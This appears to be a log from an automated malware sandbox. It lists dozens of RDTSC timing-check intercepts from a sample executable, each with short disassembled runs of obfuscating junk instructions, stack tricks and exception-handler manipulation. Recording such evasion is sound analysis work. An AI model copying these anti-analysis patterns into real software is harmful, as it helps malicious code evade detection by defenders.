Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1270F second address: A12734 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44E7DD73h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0C44E7DD6Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12404 second address: A1240E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0C44D4E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A132B3 second address: A132B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12F8C second address: A12F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13D28 second address: A13D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14884 second address: A1488A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1488A second address: A1492C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0C44E7DD70h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F0C44E7DD68h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov esi, 3CA0FB74h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F0C44E7DD68h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007F0C44E7DD68h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 xchg eax, ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F0C44E7DD72h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1492C second address: A14932 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14932 second address: A14949 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C44E7DD6Ch 0x00000008 jc 00007F0C44E7DD66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A151C0 second address: A151DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E196h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A151DA second address: A151F6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C44E7DD68h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F0C44E7DD74h 0x00000013 pushad 0x00000014 jc 00007F0C44E7DD66h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1779F second address: A177B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F0C44D4E186h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jng 00007F0C44D4E186h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19636 second address: A1963A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1963A second address: A19640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19640 second address: A196D0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F0C44E7DD6Eh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jne 00007F0C44E7DD6Ah 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F0C44E7DD68h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D1E3Fh], esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F0C44E7DD68h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jnp 00007F0C44E7DD68h 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F0C44E7DD76h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A196D0 second address: A196D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A196D6 second address: A196DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A669 second address: A1A66F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A66F second address: A1A673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A673 second address: A1A6E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F0C44D4E188h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 and bh, 0000004Ah 0x0000002b push 00000000h 0x0000002d jl 00007F0C44D4E18Ch 0x00000033 mov dword ptr [ebp+122D1D6Bh], esi 0x00000039 push 00000000h 0x0000003b mov di, 2013h 0x0000003f and edi, 5DC1A71Ah 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 jnc 00007F0C44D4E186h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A6E1 second address: A1A6EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C44E7DD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B707 second address: A1B711 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0C44D4E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B711 second address: A1B793 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F0C44E7DD68h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jmp 00007F0C44E7DD6Ch 0x0000002a push 00000000h 0x0000002c jns 00007F0C44E7DD67h 0x00000032 mov edi, ecx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F0C44E7DD68h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 js 00007F0C44E7DD71h 0x00000056 pushad 0x00000057 mov si, 0338h 0x0000005b xor ax, D267h 0x00000060 popad 0x00000061 cld 0x00000062 xchg eax, esi 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 pop edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1986E second address: A19872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19872 second address: A19897 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C44E7DD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0C44E7DD73h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19897 second address: A198A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44D4E18Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A198A5 second address: A198AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A199A6 second address: A199CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F0C44D4E198h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CA18 second address: A1CA1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E6FA second address: A1E6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E6FE second address: A1E702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E702 second address: A1E77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F0C44D4E188h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D3B88h], edi 0x0000002a push 00000000h 0x0000002c mov edi, edx 0x0000002e push 00000000h 0x00000030 or bx, 3900h 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 jmp 00007F0C44D4E196h 0x0000003c jmp 00007F0C44D4E197h 0x00000041 popad 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F0C44D4E18Ah 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D90E second address: A1D962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F0C44E7DD66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F0C44E7DD6Dh 0x00000016 push dword ptr fs:[00000000h] 0x0000001d add bl, FFFFFFE9h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 mov edi, 46D0C100h 0x0000002c mov eax, dword ptr [ebp+122D0371h] 0x00000032 mov ebx, 374A66BFh 0x00000037 push FFFFFFFFh 0x00000039 mov dword ptr [ebp+12450379h], edi 0x0000003f nop 0x00000040 push ecx 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 pop edx 0x00000045 pop ecx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D962 second address: A1D969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A215C3 second address: A215D1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A215D1 second address: A215D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A215D5 second address: A2163A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F0C44E7DD6Ch 0x0000000f pop esi 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 jmp 00007F0C44E7DD70h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F0C44E7DD68h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov di, si 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A226C5 second address: A226C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2275E second address: A22762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A228BB second address: A22972 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F0C44D4E186h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007F0C44D4E19Ch 0x00000013 nop 0x00000014 mov bx, 1DE6h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F0C44D4E188h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D2D77h] 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov edi, dword ptr [ebp+122D2E0Bh] 0x0000004c jmp 00007F0C44D4E192h 0x00000051 mov eax, dword ptr [ebp+122D005Dh] 0x00000057 mov dword ptr [ebp+122D3927h], esi 0x0000005d push FFFFFFFFh 0x0000005f push 00000000h 0x00000061 push esi 0x00000062 call 00007F0C44D4E188h 0x00000067 pop esi 0x00000068 mov dword ptr [esp+04h], esi 0x0000006c add dword ptr [esp+04h], 00000016h 0x00000074 inc esi 0x00000075 push esi 0x00000076 ret 0x00000077 pop esi 0x00000078 ret 0x00000079 mov ebx, edi 0x0000007b push eax 0x0000007c je 00007F0C44D4E194h 0x00000082 push eax 0x00000083 push edx 0x00000084 jnp 00007F0C44D4E186h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24846 second address: A2484A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2484A second address: A24850 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23908 second address: A2390C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24850 second address: A2487C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C44D4E18Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C44D4E198h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2487C second address: A248EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d call 00007F0C44E7DD74h 0x00000012 mov di, bx 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F0C44E7DD68h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 movzx ebx, ax 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push edx 0x00000039 jmp 00007F0C44E7DD79h 0x0000003e pop edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A248EE second address: A248F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A239E2 second address: A239EC instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C44E7DD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25A4B second address: A25A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D2795h], esi 0x0000000e push 00000000h 0x00000010 jbe 00007F0C44D4E191h 0x00000016 pushad 0x00000017 movzx ebx, dx 0x0000001a jno 00007F0C44D4E186h 0x00000020 popad 0x00000021 xor edi, dword ptr [ebp+122D2AFBh] 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F0C44D4E188h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 stc 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 push esi 0x00000048 jbe 00007F0C44D4E186h 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A24 second address: A24A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A2A second address: A24A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A2E second address: A24A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44E7DD6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BF7 second address: A26BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25C6E second address: A25C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25C73 second address: A25C99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0C44D4E199h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25C99 second address: A25C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25C9F second address: A25D5B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C44D4E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D233Dh], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a cld 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F0C44D4E188h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c jp 00007F0C44D4E194h 0x00000042 mov eax, dword ptr [ebp+122D0AF5h] 0x00000048 push 00000000h 0x0000004a push edi 0x0000004b call 00007F0C44D4E188h 0x00000050 pop edi 0x00000051 mov dword ptr [esp+04h], edi 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc edi 0x0000005e push edi 0x0000005f ret 0x00000060 pop edi 0x00000061 ret 0x00000062 add dword ptr [ebp+122D1E92h], edi 0x00000068 sub dword ptr [ebp+122D38C5h], edi 0x0000006e push FFFFFFFFh 0x00000070 adc edi, 300F7CF1h 0x00000076 call 00007F0C44D4E199h 0x0000007b movsx edi, di 0x0000007e pop edi 0x0000007f nop 0x00000080 pushad 0x00000081 jmp 00007F0C44D4E18Ch 0x00000086 push eax 0x00000087 push edx 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25D5B second address: A25D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25D5F second address: A25D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F0C44D4E186h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D0F second address: A26D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D14 second address: A26D3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F0C44D4E186h 0x00000009 jmp 00007F0C44D4E18Fh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jg 00007F0C44D4E186h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D3C second address: A26D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0C44E7DD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D360F second address: 9D3626 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0C44D4E18Bh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3626 second address: 9D363B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44E7DD6Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D32A second address: A2D32E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D32E second address: A2D345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44E7DD71h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D345 second address: A2D34F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C44D4E18Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D34F second address: A2D356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D4D8 second address: A2D4DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D4DC second address: A2D4F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0C44E7DD6Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F0C44E7DD6Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3564D second address: A35651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35651 second address: A35657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
